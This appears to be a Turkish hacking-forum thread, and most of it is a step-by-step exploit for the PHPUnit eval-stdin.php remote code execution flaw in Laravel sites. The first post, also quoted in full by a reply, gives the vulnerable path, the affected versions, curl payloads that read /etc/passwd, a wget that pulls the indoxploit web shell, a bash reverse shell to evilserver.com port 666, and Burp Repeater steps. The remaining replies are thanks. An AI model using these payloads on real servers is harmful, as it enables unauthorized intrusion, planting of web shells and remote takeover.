Laravel PHPUnit Remote Code Execution (RCE) (1 Viewer)

[Crysuder]

• Vuln: eval-stdin.php
• Tam Yol Exploit: http: // target /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• Etkilenen sürümler: 4.8.28 öncesi ve 5.6.3 öncesi 5.x öncesi

Burp Suite, Postacı veya curl kullanarak veri göndermekte özgürsünüz. Burada ilk önce kıvırmayı kullanarak paylaşıyorum çünkü bence bu en basit olanı.

Yükü göndermek için -d veya -data parametresini kullanın. Kullanılabilecek yük kapasitesi:

<?php system('tail /etc/passwd'); ?> <?php echo php_uname(); ?> <?php show_source('/etc/passwd'); ?>

Örnek komut

curl -d "<?php echo php_uname(); ?>" http://webtarget/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Eğer kabuğu çıkarmak istiyorsanız, sadece kullanmanız gereken yükü değiştirmeniz gerekiyor.

<?php system('wget https://raw.githubusercontent.com/linuxsec/indoxploit-shell/master/shell-v3.php'; ?>

Veya backconnect bağlantı komu

<?php system('bash -i >& /dev/tcp/evilserver.com/666 0>&1');?>

Ardından, sunucuda, 666 numaralı bağlantı noktasına taşınır .

Veya Burpsuite'i kullanabilirsiniz.

Araya gir, sonra isteği tekrarlayıcıya gönder.

Ardından Tekrarlayıcı menüsünü tıklayın , aşağıya yükü girin ve Git düğmesine tıklayın .

Yanıt, istek sütununun yanında görülebilir (sağda).

 

[Adamındibi]

• Vuln: eval-stdin.php
• Tam Yol Exploit: http: // target /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
• Etkilenen sürümler: 4.8.28 öncesi ve 5.6.3 öncesi 5.x öncesi

Burp Suite, Postacı veya curl kullanarak veri göndermekte özgürsünüz. Burada ilk önce kıvırmayı kullanarak paylaşıyorum çünkü bence bu en basit olanı.

Yükü göndermek için -d veya -data parametresini kullanın. Kullanılabilecek yük kapasitesi:

<?php system('tail /etc/passwd'); ?> <?php echo php_uname(); ?> <?php show_source('/etc/passwd'); ?>

Örnek komut

curl -d "<?php echo php_uname(); ?>" http://webtarget/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Eğer kabuğu çıkarmak istiyorsanız, sadece kullanmanız gereken yükü değiştirmeniz gerekiyor.

<?php system('wget https://raw.githubusercontent.com/linuxsec/indoxploit-shell/master/shell-v3.php'; ?>

Veya backconnect bağlantı komu

<?php system('bash -i >& /dev/tcp/evilserver.com/666 0>&1');?>

Ardından, sunucuda, 666 numaralı bağlantı noktasına taşınır .

Veya Burpsuite'i kullanabilirsiniz.

Araya gir, sonra isteği tekrarlayıcıya gönder.

Ardından Tekrarlayıcı menüsünü tıklayın , aşağıya yükü girin ve Git düğmesine tıklayın .

Yanıt, istek sütununun yanında görülebilir (sağda).

teşekkür ederim @Hector

 

[Zer03xpl0it]

Eline sağlık

 

[JFoundlow]

Eline sağlık hector bey

 

[risk-master]

Eline sağlık. Güzel konu, beğendim.

 

[Nogay]

bakim

 

[holyturk]

ciddi bir açık.Kendi sitemde farkettim

 

[H4rezm1]

eline sağlık

 

[Akıncı]

teşekkürler

 

[Roselly]

Eline sağlık.

 

[clubsoundtr]

bakalım

 

[Mr.B]

bakam

 

[tttkkk]

bklim